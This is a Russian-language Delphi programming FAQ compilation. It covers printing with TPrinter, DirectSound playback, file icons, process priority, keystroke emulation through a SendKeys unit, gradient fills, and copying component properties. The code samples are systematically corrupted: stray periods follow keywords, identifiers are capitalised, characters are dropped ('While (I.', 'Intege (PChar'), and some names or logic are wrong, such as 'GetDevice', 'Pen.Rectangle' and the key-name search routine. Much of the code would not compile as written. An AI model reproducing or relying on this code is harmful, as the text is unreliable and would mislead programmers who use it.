Он позволяет рисовать на листе бумаге графику, выводить текст ... .

Тут есть несколько особенностей, они описаны после описания объекта.

Fonts:Tstrings - Возвращает список шрифтов, поддерживаемых принтером.

Handle:HDS - Получить Handle на принтер для использования функций API (см. Далее).

Orientation:TprinterOrientation - Ориентация листа при печати : (poPortrait, poLandscape).

PageHeight:integer - Высота листа в пикселах.

PageNumber:integer - Номер страницы, увеличивается на 1 при каждом NewPage.

PageWidth:integer - Ширина листа в пикселах.

PrinterIndex:integer - Номер используемого принтера по списку доступных принтеров Printers.

Printers:Tstrings - Список доступных принтеров.

Printing:boolean - Флаг, показывающий, что сейчас идет процесс печати.

Title:string - Имя документа или приложения. Под этим именем задание на печать.

Регистрируется в диспетчере печати.

METODS.

AssignPrn(f:TextFile) - Связать текстовый файл с принтером.

Далее вывод информации в этот файл приводит к ее печати.

Удобно в простейших случаях.

Abort - Сбросить печать.

BeginDoc - Начать печать.

NewPage - Начать новую страницу.

EndDoc - Завершить печать.

Пример :

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. With Printer do Begin. BeginDoc; { Начало печати }. Canvas.Font:=label1.font; { Задали шрифт }. Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст }. EndDoc; { Конец печати }. End; End;

Особенности работы с TPrinter.

1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и.

Его необходимо задавать заново.

2. Все координаты даны в пикселах, а для нормальной работы необходимы.

Миллиметры (по двум очевидным причинам: очень трудно произвести.

Разметку страницы в пикселах (особенно если необходима точность), и , главное,

При изменении разрешающей способности принтера будет изменяться число точек.

На дюйм, и все координаты "поедут".

3. У TPrinter информация о принтере, по видимому, определяются один раз.

- в момент запуска программы (или смены принтера). Поэтому изменение настроек.

Принтера в процессе работы программы может привести к некорректной работе,

Например, неправильной печать шрифтов True Type.

Определение параметров принтера через API.

Для определения информации о принтере (плоттере, экране) необходимо.

Знать Handle этого принтера, а его можно узнать объекта TPrinter - Printer.Handle.

Далее вызывается функция API (unit WinProcs) : GetDevice(Handle:HDC; Index:integer):integer;

Index - код параметра, который необходимо вернуть.

Для Index существует ряд констант :

DriverVersion - вернуть версию драйвера.

Texnology - Технология вывода, их много, основные.

Dt_Plotter - плоттер.

Dt_RasPrinter - растровый принтер.

Dt_Display - дисплей.

HorzSize - Горизонтальный размер листа (в мм).

VertSize - Вертикальный размер листа (в мм).

HorzRes - Горизонтальный размер листа (в пикселах).

VertRes - Вертикальный размер листа (в пикселах).

LogPixelX - Разрешение по оси Х в dpi (пиксел /дюйм).

LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм).

Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.

Параметры, возвращаемые по LogPixelX и LogPixelY очень важны - они.

Позволяют произвести пересчет координат из миллиметров в пиксели.

Для текущего разрешения принтера. Пример таких функций:

Code: Procedure TForm1.GetPrinterInfo; { Получить информацию о принтере }. Begin. PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX); PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY); End; Function TForm1.PrinterCoordX(x:integer):integer; { переводит координаты из мм в пиксели }. Begin. PrinterCoordX:=round(PixelsX/25.4*x); End; Function TForm1.PrinterCoordY(Y:integer):integer; { переводит координаты из мм в пиксели }. Begin. PrinterCoordY:=round(PixelsY/25.4*Y); End;

Пример использования DirectSound на Delphi.

Рабочий пример использования DirectSound на Delphi + несколько полезных.

Процедур. В этом примере создается один первичный SoundBuffer и 2.

Статических, вторичных; в них загружаются 2 WAV файла.

Первичный буфер создается процедурой AppCreateWritePrimaryBuffer,

А любой вторичный - AppCreateWritePrimaryBuffer. Так как.

Вторичный буфер связан с WAV файлом, то при создании.

Буфера нужно определить его параметры в соответствии.

Со звуковым файлом, эти характеристики (Samples, Bits, IsStereo).

Задаются в виде параметров процедуры. Time - время WАV'файла.

В секундах (округление в сторону увеличения).

Code: Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls; Type. TForm1 = class(TForm). Button1: TButton; Timer1: TTimer; Procedure FormCreate(Sender: TObject); Procedure FormDestroy(Sender: TObject); Procedure Button1Click(Sender: TObject); Private. DirectSound: IDirectSound; DirectSoundBuffer: IDirectSoundBuffer; SecondarySoundBuffer: array[0..1] of IDirectSoundBuffer; Procedure AppCreateWritePrimaryBuffer; Procedure AppCreateWriteSecondaryBuffer(var Buffer: IDirectSoundBuffer; SamplesPerSec: Integer; Bits: Word; IsStereo: Boolean; Time: Integer); Procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer; OffSet: DWord; var SoundData; SoundBytes: DWord); Procedure CopyWAVToBuffer(Name: PChar; var Buffer: IDirectSoundBuffer); { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.FormCreate(Sender: TObject); Begin. If DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then. Raise Exception.Create('Failed to create IDirectSound object'); AppCreateWritePrimaryBuffer; AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[0], 22050, 8, False, 10); AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[1], 22050, 16, True, 1); End; Procedure TForm1.FormDestroy(Sender: TObject); Var i: ShortInt; Begin. If Assigned(DirectSoundBuffer) then DirectSoundBuffer.Release; For i := 0 to 1 do. If Assigned(SecondarySoundBuffer[i]) then SecondarySoundBuffer[i].Release; If Assigned(DirectSound) then DirectSound.Release; End; Procedure TForm1.AppWriteDataToBuffer; Var. AudioPtr1, AudioPtr2: Pointer; AudioBytes1, AudioBytes2: DWord; H: HResult; Temp: Pointer; Begin. H := Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2, 0); If H = DSERR_BUFFERLOST then. Begin. Buffer.Restore; If Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2, 0) <> DS_OK then. Raise Exception.Create('Unable to Lock Sound Buffer'); End. Else. If H <> DS_OK then raise Exception.Create('Unable to Lock Sound Buffer'); Temp := @SoundData; Move(Temp^, AudioPtr1^, AudioBytes1); If AudioPtr2 <> nil then. Begin. Temp := @SoundData; Inc(Integer(Temp), AudioBytes1); Move(Temp^, AudioPtr2^, AudioBytes2); End; If Buffer.UnLock(AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2) <> DS_OK. Then raise Exception.Create('Unable to UnLock Sound Buffer'); End; Procedure TForm1.AppCreateWritePrimaryBuffer; Var BufferDesc: DSBUFFERDESC; Caps: DSBCaps; PCM: TWaveFormatEx; Begin. FillChar(BufferDesc, SizeOf(DSBUFFERDESC), 0); FillChar(PCM, SizeOf(TWaveFormatEx), 0); With BufferDesc do. Begin. PCM.wFormatTag := WAVE_FORMAT_PCM; PCM.nChannels := 2; PCM.nSamplesPerSec := 22050; PCM.nBlockAlign := 4; PCM.nAvgBytesPerSec := PCM.nSamplesPerSec. PCM.wBitsPerSample := 16; PCM.cbSize := 0; DwSize := SizeOf(DSBUFFERDESC); DwFlags := DSBCAPS_PRIMARYBUFFER; DwBufferBytes := 0; LpwfxFormat := nil; End; If DirectSound.SetCooperativeLevel(Handle, DSSCL_WRITEPRIMARY) <> DS_OK. Then raise Exception.Create('Unable to set Coopeative Level'); If DirectSound.CreateSoundBuffer(BufferDesc, DirectSoundBuffer, nil) <> DS_OK. Then raise Exception.Create('Create Sound Buffer failed'); If DirectSoundBuffer.SetFormat(PCM) <> DS_OK. Then raise Exception.Create('Unable to Set Format '); If DirectSound.SetCooperativeLevel(Handle, DSSCL_NORMAL) <> DS_OK. Then raise Exception.Create('Unable to set Coopeative Level'); End; Procedure TForm1.AppCreateWriteSecondaryBuffer; Var BufferDesc: DSBUFFERDESC; Caps: DSBCaps; PCM: TWaveFormatEx; Begin. FillChar(BufferDesc, SizeOf(DSBUFFERDESC), 0); FillChar(PCM, SizeOf(TWaveFormatEx), 0); With BufferDesc do. Begin. PCM.wFormatTag := WAVE_FORMAT_PCM; If isStereo then. PCM.nChannels := 2. Else. PCM.nChannels := 1; PCM.nSamplesPerSec := SamplesPerSec; PCM.nBlockAlign := (Bits div 8) * PCM.nChannels; PCM.nAvgBytesPerSec := PCM.nSamplesPerSec * PCM.nBlockAlign; PCM.wBitsPerSample := Bits; PCM.cbSize := 0; DwSize := SizeOf(DSBUFFERDESC); DwFlags := DSBCAPS_STATIC; DwBufferBytes := Time * PCM.nAvgBytesPerSec; LpwfxFormat := @PCM; End; If DirectSound.CreateSoundBuffer(BufferDesc, Buffer, nil) <> DS_OK. Then raise Exception.Create('Create Sound Buffer failed'); End; Procedure TForm1.CopyWAVToBuffer; Var Data: PChar; FName: TFileStream; DataSize: DWord; Chunk: string[4]; Pos: Integer; Begin. FName := TFileStream.Create(Name, fmOpenRead); Pos := 24; SetLength(Chunk, 4); Repeat. FName.Seek(Pos, soFromBeginning); FName.Read(Chunk[1], 4); Inc(Pos); Until Chunk = 'data'; FName.Seek(Pos + 3, soFromBeginning); FName.Read(DataSize, SizeOf(DWord)); GetMem(Data, DataSize); FName.Read(Data^, DataSize); FName.Free; AppWriteDataToBuffer(Buffer, 0, Data^, DataSize); FreeMem(Data, DataSize); End; Procedure TForm1.Button1Click(Sender: TObject); Begin. CopyWAVToBuffer('1.wav', SecondarySoundBuffer[0]); CopyWAVToBuffer('flip.wav', SecondarySoundBuffer[1]); If SecondarySoundBuffer[0].Play(0, 0, 0) <> DS_OK. Then ShowMessage('Can not play the Sound'); If SecondarySoundBuffer[1].Play(0, 0, 0) <> DS_OK. Then ShowMessage('Can not play the Sound'); End; End.

Как показать иконку, ассоциированную с данным типом файла?

ShellApi функция ExtractAssociatedIcon().

Code: Uses ShellApi; Procedure TForm1.Button1Click(Sender: TObject); Var. Icon: hIcon; IconIndex: word; Begin. IconIndex := 1; Icon := ExtractAssociatedIcon(HInstance, Application.ExeName, IconIndex); DrawIcon(Canvas.Handle, 10, 10, Icon); End;

Как увеличить процессорное время, выделяемого программе?

Следующий пример изменяет приоритет приложения. Изменение приоритета следует использовать.

С осторожностью - т.к. присвоение слишком высокого приоритета может привети к.

Медленной работе остальных программ и системы в целом. См. Win32 help for SetThreadPriority() function.

Code: Procedure TForm1.Button1Click(Sender: TObject); Var ProcessID : DWORD; ProcessHandle : THandle; ThreadHandle : THandle; Begin. ProcessID := GetCurrentProcessID; ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION, false, ProcessID); SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS); ThreadHandle := GetCurrentThread; SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL); End;

Кнопка или пункт меню выполняет другую функцию при нажатой кнопке shift.

Сли вы хотите, чтобы кнопка или пункт меню выполнял другую функцию при нажатой кнопке shift ,

Вы можете использовать функцию GetKeyState .

GetKeyState принимает в качестве параметра виртуальный код кнопки и возвращает значение меньше 0,

Если кнопка нажата.

Вот пример события OnClick для кнопки:

Code: Procedure Form1.Button1Click(Sender: TObject); Begin. If GetKeyState(VK_SHIFT) < 0 then. ShowMessage('Кнопка Shift нажата'). Else. ShowMessage('Обычное нажатие кнопки'); End;

Как эмулировать нажатия клавиш в другой программе?

Как эмулировать нажатия клавиш в другой программе.

Http://delfaq.wallst.ru/faq/emul.html.

Этот модуль является почти полным аналогом мотоду SendKeys из VB.

(Автор: Ken Henderson, email:khen@compuserve.com).

Code: { SendKeys routine for 32-bit Delphi. Written by Ken Henderson. Copyright (c) 1995 Ken Henderson email:khen@compuserve.com. This unit includes two routines that simulate popular Visual Basic. Routines: Sendkeys and AppActivate. SendKeys takes a PChar. As its first parameter and a boolean as its second, like so: SendKeys('KeyString', Wait); Where KeyString is a string of key names and modifiers that you want. To send to the current input focus and Wait is a boolean variable or value. That indicates whether SendKeys should wait for each key message to be. Processed before proceeding. See the table below for more information. AppActivate also takes a PChar as its only parameter, like so: AppActivate('WindowName'); Where WindowName is the name of the window that you want to make the. Current input focus. SendKeys supports the Visual Basic SendKeys syntax, as documented below. Supported modifiers: + = Shift. ^ = Control. % = Alt. Surround sequences of characters or key names with parentheses in order to. Modify them as a group. For example, '+abc' shifts only 'a', while '+(abc)' shifts. All three characters. Supported special characters. ~ = Enter. ( = Begin modifier group (see above). ) = End modifier group (see above). { = Begin key name text (see below). } = End key name text (see below). Supported characters: Any character that can be typed is supported. Surround the modifier keys. Listed above with braces in order to send as normal text. Supported key names (surround these with braces): BKSP, BS, BACKSPACE. BREAK. CAPSLOCK. CLEAR. DEL. DELETE. DOWN. END. ENTER. ESC. ESCAPE. F1. F2. F3. F4. F5. F6. F7. F8. F9. F10. F11. F12. F13. F14. F15. F16. HELP. HOME. INS. LEFT. NUMLOCK. PGDN. PGUP. PRTSC. RIGHT. SCROLLLOCK. TAB. UP. Follow the keyname with a space and a number to send the specified key a. Given number of times (e.g., {left 6}). } Unit sndkey32; Interface. Uses SysUtils, Windows, Messages; Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean; Function AppActivate(WindowName : PChar) : boolean; {Buffer for working with PChar's}. Const. WorkBufLen = 40; Var. WorkBuf : array[0..WorkBufLen] of Char; Implementation. Type. THKeys = array[0..pred(MaxLongInt)] of byte; Var. AllocationSize : integer; (* Converts a string of characters and key names to keyboard events and. Passes them to Windows. Example syntax: SendKeys('abc123{left}{left}{left}def{end}456{left 6}ghi{end}789', True); *) Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean; Type. WBytes = array[0..pred(SizeOf(Word))] of Byte; TSendKey = record. Name : ShortString; VKey : Byte; End; Const. {Array of keys that SendKeys recognizes. If you add to this list, you must be sure to keep it sorted alphabetically. By Name because a binary search routine is used to scan it.}. MaxSendKeyRecs = 41; SendKeyRecs : array[1..MaxSendKeyRecs] of TSendKey = ( (Name:'BKSP'; VKey:VK_BACK), (Name:'BS'; VKey:VK_BACK), (Name:'BACKSPACE'; VKey:VK_BACK), (Name:'BREAK'; VKey:VK_CANCEL), (Name:'CAPSLOCK'; VKey:VK_CAPITAL), (Name:'CLEAR'; VKey:VK_CLEAR), (Name:'DEL'; VKey:VK_DELETE), (Name:'DELETE'; VKey:VK_DELETE), (Name:'DOWN'; VKey:VK_DOWN), (Name:'END'; VKey:VK_END), (Name:'ENTER'; VKey:VK_RETURN), (Name:'ESC'; VKey:VK_ESCAPE), (Name:'ESCAPE'; VKey:VK_ESCAPE), (Name:'F1'; VKey:VK_F1), (Name:'F10'; VKey:VK_F10), (Name:'F11'; VKey:VK_F11), (Name:'F12'; VKey:VK_F12), (Name:'F13'; VKey:VK_F13), (Name:'F14'; VKey:VK_F14), (Name:'F15'; VKey:VK_F15), (Name:'F16'; VKey:VK_F16), (Name:'F2'; VKey:VK_F2), (Name:'F3'; VKey:VK_F3), (Name:'F4'; VKey:VK_F4), (Name:'F5'; VKey:VK_F5), (Name:'F6'; VKey:VK_F6), (Name:'F7'; VKey:VK_F7), (Name:'F8'; VKey:VK_F8), (Name:'F9'; VKey:VK_F9), (Name:'HELP'; VKey:VK_HELP), (Name:'HOME'; VKey:VK_HOME), (Name:'INS'; VKey:VK_INSERT), (Name:'LEFT'; VKey:VK_LEFT), (Name:'NUMLOCK'; VKey:VK_NUMLOCK), (Name:'PGDN'; VKey:VK_NEXT), (Name:'PGUP'; VKey:VK_PRIOR), (Name:'PRTSC'; VKey:VK_PRINT), (Name:'RIGHT'; VKey:VK_RIGHT), (Name:'SCROLLLOCK'; VKey:VK_SCROLL), (Name:'TAB'; VKey:VK_TAB), (Name:'UP'; VKey:VK_UP). ); {Extra VK constants missing from Delphi's Windows API interface}. VK_NULL=0; VK_SemiColon=186; VK_Equal=187; VK_Comma=188; VK_Minus=189; VK_Period=190; VK_Slash=191; VK_BackQuote=192; VK_LeftBracket=219; VK_BackSlash=220; VK_RightBracket=221; VK_Quote=222; VK_Last=VK_Quote; ExtendedVKeys : set of byte = [VK_Up, VK_Down, VK_Left, VK_Right, VK_Home, VK_End, VK_Prior, {PgUp}. VK_Next, {PgDn}. VK_Insert, VK_Delete]; Const. INVALIDKEY = $FFFF; VKKEYSCANSHIFTON = $01; VKKEYSCANCTRLON = $02; VKKEYSCANALTON = $04; UNITNAME = 'SendKeys'; Var. UsingParens, ShiftDown, ControlDown, AltDown, FoundClose : Boolean; PosSpace : Byte; I, L : Integer; NumTimes, MKey : Word; KeyString : String[20]; Procedure DisplayMessage(Message : PChar); Begin. MessageBox(0,Message,UNITNAME,0); End; Function BitSet(BitTable, BitMask : Byte) : Boolean; Begin. Result:=ByteBool(BitTable and BitMask); End; Procedure SetBit(var BitTable : Byte; BitMask : Byte); Begin. BitTable:=BitTable or Bitmask; End; Procedure KeyboardEvent(VKey, ScanCode : Byte; Flags : Longint); Var. KeyboardMsg : TMsg; Begin. Keybd_event(VKey, ScanCode, Flags,0); If (Wait) then While (PeekMessage(KeyboardMsg,0,WM_KEYFIRST, WM_KEYLAST, PM_REMOVE)) do begin. TranslateMessage(KeyboardMsg); DispatchMessage(KeyboardMsg); End; End; Procedure SendKeyDown(VKey: Byte; NumTimes : Word; GenUpMsg : Boolean); Var. Cnt : Word; ScanCode : Byte; NumState : Boolean; KeyBoardState : TKeyboardState; Begin. If (VKey=VK_NUMLOCK) then begin. NumState:=ByteBool(GetKeyState(VK_NUMLOCK) and 1); GetKeyBoardState(KeyBoardState); If NumState then KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] and not 1). Else KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] or 1); SetKeyBoardState(KeyBoardState); Exit; End; ScanCode:=Lo(MapVirtualKey(VKey,0)); For Cnt:=1 to NumTimes do. If (VKey in ExtendedVKeys)then begin. KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY); If (GenUpMsg) then. KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP). End else begin. KeyboardEvent(VKey, ScanCode, 0); If (GenUpMsg) then KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP); End; End; Procedure SendKeyUp(VKey: Byte); Var. ScanCode : Byte; Begin. ScanCode:=Lo(MapVirtualKey(VKey,0)); If (VKey in ExtendedVKeys)then. KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY and KEYEVENTF_KEYUP). Else KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP); End; Procedure SendKey(MKey: Word; NumTimes : Word; GenDownMsg : Boolean); Begin. If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyDown(VK_SHIFT,1,False); If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyDown(VK_CONTROL,1,False); If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyDown(VK_MENU,1,False); SendKeyDown(Lo(MKey), NumTimes, GenDownMsg); If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyUp(VK_SHIFT); If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyUp(VK_CONTROL); If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyUp(VK_MENU); End; {Implements a simple binary search to locate special key name strings}. Function StringToVKey(KeyString : ShortString) : Word; Var. Found, Collided : Boolean; Bottom, Top, Middle : Byte; Begin. Result:=INVALIDKEY; Bottom:=1; Top:=MaxSendKeyRecs; Found:=false; Middle:=(Bottom+Top) div 2; Repeat. Collided:=((Bottom=Middle) or (Top=Middle)); If (KeyString=SendKeyRecs[Middle].Name) then begin. Found:=true; Result:=SendKeyRecs[Middle].VKey; If (KeyString>SendKeyRecs[Middle].Name) then Bottom:=Middle. Else Top:=Middle; Middle:=(Succ(Bottom+Top)) div 2; End; Until (Found or Collided); If (Result=INVALIDKEY) then DisplayMessage('Invalid Key Name'); End; Procedure PopUpShiftKeys; Begin. If (not UsingParens) then begin. If ShiftDown then SendKeyUp(VK_SHIFT); If ControlDown then SendKeyUp(VK_CONTROL); If AltDown then SendKeyUp(VK_MENU); ShiftDown:=false; ControlDown:=false; AltDown:=false; End; End; Begin. AllocationSize:=MaxInt; Result:=false; UsingParens:=false; ShiftDown:=false; ControlDown:=false; AltDown:=false; I:=0; L:=StrLen(SendKeysString); If (L>AllocationSize) then L:=AllocationSize; If (L=0) then Exit; While (I. Case SendKeysString[I] of. '(' : begin. UsingParens:=true; Inc(I); End; ')' : begin. UsingParens:=false; PopUpShiftKeys; Inc(I); end; '%' : begin. AltDown:=true; SendKeyDown(VK_MENU,1,False); Inc(I); End; '+' : begin. ShiftDown:=true; SendKeyDown(VK_SHIFT,1,False); Inc(I); End; '^' : begin. ControlDown:=true; SendKeyDown(VK_CONTROL,1,False); Inc(I); End; '{' : begin. NumTimes:=1; If (SendKeysString[Succ(I)]='{') then begin. MKey:=VK_LEFTBRACKET; SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON); SendKey(MKey,1,True); PopUpShiftKeys; Inc(I,3); Continue; End; KeyString:=''; FoundClose:=false; While (I<=L) do begin. Inc(I); If (SendKeysString[I]='}') then begin. FoundClose:=true; Inc(I); Break; End; KeyString:=KeyString+Upcase(SendKeysString[I]); End; If (Not FoundClose) then begin. DisplayMessage('No Close'); Exit; End; If (SendKeysString[I]='}') then begin. MKey:=VK_RIGHTBRACKET; SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON); SendKey(MKey,1,True); PopUpShiftKeys; Inc(I); Continue; End; PosSpace:=Pos(' ',KeyString); If (PosSpace<>0) then begin. NumTimes:=StrToInt(Copy(KeyString,Succ(PosSpace),Length(KeyString)-PosSpace)); KeyString:=Copy(KeyString,1,Pred(PosSpace)); End; If (Length(KeyString)=1) then MKey:=vkKeyScan(KeyString[1]). Else MKey:=StringToVKey(KeyString); If (MKey<>INVALIDKEY) then begin. SendKey(MKey,NumTimes,True); PopUpShiftKeys; Continue; End; End; '~' : begin. SendKeyDown(VK_RETURN,1,True); PopUpShiftKeys; Inc(I); End; Else begin. MKey:=vkKeyScan(SendKeysString[I]); If (MKey<>INVALIDKEY) then begin. SendKey(MKey,1,True); PopUpShiftKeys; End else DisplayMessage('Invalid KeyName'); Inc(I); End; End; End; Result:=true; PopUpShiftKeys; End; {AppActivate. This is used to set the current input focus to a given window using its. Name. This is especially useful for ensuring a window is active before. Sending it input messages using the SendKeys function. You can specify. A window's name in its entirety, or only portion of it, beginning from. The left. } Var. WindowHandle : HWND; Function EnumWindowsProc(WHandle: HWND; lParam: LPARAM): BOOL; export; stdcall; Const. MAX_WINDOW_NAME_LEN = 80; Var. WindowName : array[0..MAX_WINDOW_NAME_LEN] of char; Begin. {Can't test GetWindowText's return value since some windows don't have a title}. GetWindowText(WHandle,WindowName,MAX_WINDOW_NAME_LEN); Result := (StrLIComp(WindowName,PChar(lParam), StrLen(PChar(lParam))) <> 0); If (not Result) then WindowHandle:=WHandle; End; Function AppActivate(WindowName : PChar) : boolean; Begin. Try. Result:=true; WindowHandle:=FindWindow(nil,WindowName); If (WindowHandle=0) then EnumWindows(@EnumWindowsProc,Intege (PChar(WindowName))); If (WindowHandle<>0) then begin. SendMessage(WindowHandle, WM_SYSCOMMAND, SC_HOTKEY, WindowHandle); SendMessage(WindowHandle, WM_SYSCOMMAND, SC_RESTORE, WindowHandle); End else Result:=false; Except. On Exception do Result:=false; End; End; End.

Градиентная заливка и сложение цветов.

Градиентная заливка и сложение цветов.

Иногда бывает нужно сложить два или более цветов для получения что-то типа переходного цвета.

Делается это весьма просто. Координаты получаемого цвета будут равны среднему значению.

Соответствующих координат всех цветов.

Например, нужно сложить красный и синий. Получаем.

(255,0,0)+(0,0,255)=((255+0) div 2,(0+0) div 2,(0+255) div 2)=(127,0,127).

В результате получаем сиреневый цвет. Та2: сложить соответствующие координаты,

Потом каждую сумму разделить нацело на количество цветов.

Поговорим теперь о градиентной заливке. Градиентная заливка - это заливка цветом с плавным.

Переходом от одного цвета к другому.

Итак, пусть заданы 2 цвета своими координатами ((A1, A2, A3) и (B1, B2, B3)) и.

Линия (длиной h пикселов), по которой нужно залить. Тогда каждый цвет каждого пиксела,

Находящегося на расстоянии x пикселов от начала будет равен.

(A1-(A1-B1)/h*x, A2-(A2-B2)/h*x, A3-(A3-B3)/h*x). Теперь, имея линию с.

Градиентной заливкой, можно таким образом залить.

Совершенно любую фигуру: будь то прямоугольник, круг или просто произвольная фигура.

Вот как выглядит описанный алгоритм:

Code: {Считается, что координаты первого цвета равны (A1, A2, A3), а второго (B1, B2, B3)}. {Кроме того, линия начинается в координатах (X1,Y1), а заканчивается в (X2,Y1)}. Var h,i: Integer; Begin. H:=X2-X1-1; For i:=0 to h do begin. PaintBox1.Canvas.Pen.Color:=RGB(A1-(A1-B1)/h*i, A2-(A2-B2)/h*i, A3-(A3-B3)/h*i); PaintBox1.Canvas.Pen.Rectangle(I,Y1,I+1,Y1); End; End.

Как определить локализацию ОС: английская или русская?

GetSystemDefaultLangID.

©Drkb::01956.

Взято с сайта http://blackman.wp-club.net/

Проверяем находится ли файл на локальном диске.

Code: Function IsOnLocalDrive(aFileName: string): Boolean; Var. ADrive: string; Begin. ADrive := ExtractFileDrive(aFileName); If (GetDriveType(PChar(aDrive)) = DRIVE_REMOVABLE) or. (GetDriveType(PChar(aDrive)) = DRIVE_FIXED) then. Result := True. Else. Result := False; End; // Example, Beispiel: Procedure TForm1.Button1Click(Sender: TObject); Begin. If OpenDialog1.Execute then. If IsOnLocalDrive(OpenDialog1.FileName) then. ShowMessage(OpenDialog1.FileName + ' is on a local drive.'); End;

Как прочитать свойство напрямую из его ресурса?

Code: If ReadPropertyValue('Form1.Button1', 'width') > 1000 then. ShowMessage('You are about to create a big button!'); Function TForm1.ReadProp(r: TReader): string; Begin. Result := ''; {Determine the value type of the property, read it with the appropriate method of TReader. And convert it to string. Not all value types are implemented here but you get the idea.}. Case r.NextValue of. VaInt8, vaInt16, vaInt32: Result := IntToStr(r.ReadInteger); VaExtended: Result := FloatToStr(r.ReadFloat); VaString: Result := r.ReadString; Else. R.SkipValue; {Not implemented}. End; End; Procedure TForm1.ReadRes(PropPath: string; r: TReader); Var. P: string; Begin. {Skip the class name}. R.ReadStr; {Construct the property path}. If PropPath = '' then. P := r.ReadStr. Else. P := PropPath + '.' + r.ReadStr; {Read all properties and its values and fill them into the memo}. While not r.EndOfList do. Memo1.Lines.Add(p + '.' + r.ReadStr + ' = ' + ReadProp(r)); {Skip over the end of the list of the properties of this component}. R.CheckValue(vaNull); {Recursively read the properties of all sub-components}. While not r.EndOfList do. Begin. ReadRes(p, r); R.CheckValue(vaNull); End; End; Procedure TForm1.Button1Click(Sender: TObject); Var. Strm: TResourceStream; Reader: TReader; Begin. Strm := TResourceStream.Create(HInstance, 'TForm1', RT_RCDATA); Reader := TReader.Create(strm, 1024); Try. Memo1.Clear; Reader.ReadSignature; ReadRes('', Reader); Finally. Reader.Free; Strm.Free; End; End; Only one small problem. R.SkipValue was protected (in D5) but I hacked that out with the following code: Type THackReader = class(TReader); { ... } THackReader(r).SkipValue;

Tip by Michael Duerig and Tjipke A. van der Plaats.

©Drkb::00279.

Взято из http://www.lmc-mediaagentur.de/dpool.

Как присвоить все значения полей одного класса, другому такому же классу?

How can I assign all property values (or if it's not possible only published property values, or some of them) of one class (TComponent) to another instance of the same class? What I want to do is:

Code: MyComponent1.{property1} := MyComponent2.{property1}; {...} MyComponent2.{propertyN} := MyComponent2.{propertyN};

Is there a better and shorter way to do this? I tried this: MyComponent1 := MyComponent2; But it doesn't work. Why not? Can I point to the second component ?

Answer 1:

MyComponent2 and MyComponent1 are pointers to your components, and this kind of assigment leads to MyComponent1 pointing to MyComponent2. But it will not copy its property values.

A better way is to override the assign method of your control, do all property assignment there and call it when you need to copy component attributes. Here's example:

Code: Procedure TMyComponent.Assign(Source: TPersistent); Begin. If Source is TMyComponent then. Begin. Property1 := TMyComponent(Source).property1; { ... } End. Else. Inherited Assign(Source); End;

To assign properties you'll need to set this line in the code:

MyComponent1.Assign(MyComponent2);

Tip by Serge Gubenko.

©Drkb::00280.

Code: Procedure EqualClassProperties(AClass1, AClass2: TObject); Var. PropList: PPropList; ClassTypeInfo: PTypeInfo; ClassTypeData: PTypeData; I: integer; NumProps: Integer; APersistent : TPersistent; Begin. If AClass1.ClassInfo <> AClass2.ClassInfo then. Exit; ClassTypeInfo := AClass1.ClassInfo; ClassTypeData := GetTypeData(ClassTypeInfo); If ClassTypeData.PropCount <> 0 then. Begin. GetMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount); Try. GetPropInfos(AClass1.ClassInfo, PropList); For i := 0 to ClassTypeData.PropCount - 1 do. If not (PropList[i]^.PropType^.Kind = tkMethod) then. {if Class1,2 is TControl/TWinControl on same form, its names must be unique}. If PropList[i]^.Name <> 'Name' then. If (PropList[i]^.PropType^.Kind = tkClass) then. Begin. APersistent := TPersistent(GetObjectProp(AClass1, PropList[i]^.Name, TPersistent)); If APersistent <> nil then. APersistent.Assign(TPersistent(GetObjectProp(AClass2, PropList[i]^.Name, TPersistent))). End. Else. SetPropValue(AClass1, PropList[i]^.Name, GetPropValue(AClass2, PropList[i]^.Name)); Finally. FreeMem(PropList, SizeOf(PPropInfo) * ClassTypeData.PropCount); End; End; End;

Note that this code skips object properties inherited other than TPersistent.

Tip by Gokhan Ersumer.

©Drkb::00281.

Взято из http://www.lmc-mediaagentur.de/dpool.

Как сделать текстовый список всех доступных свойств перечисляемого типа?

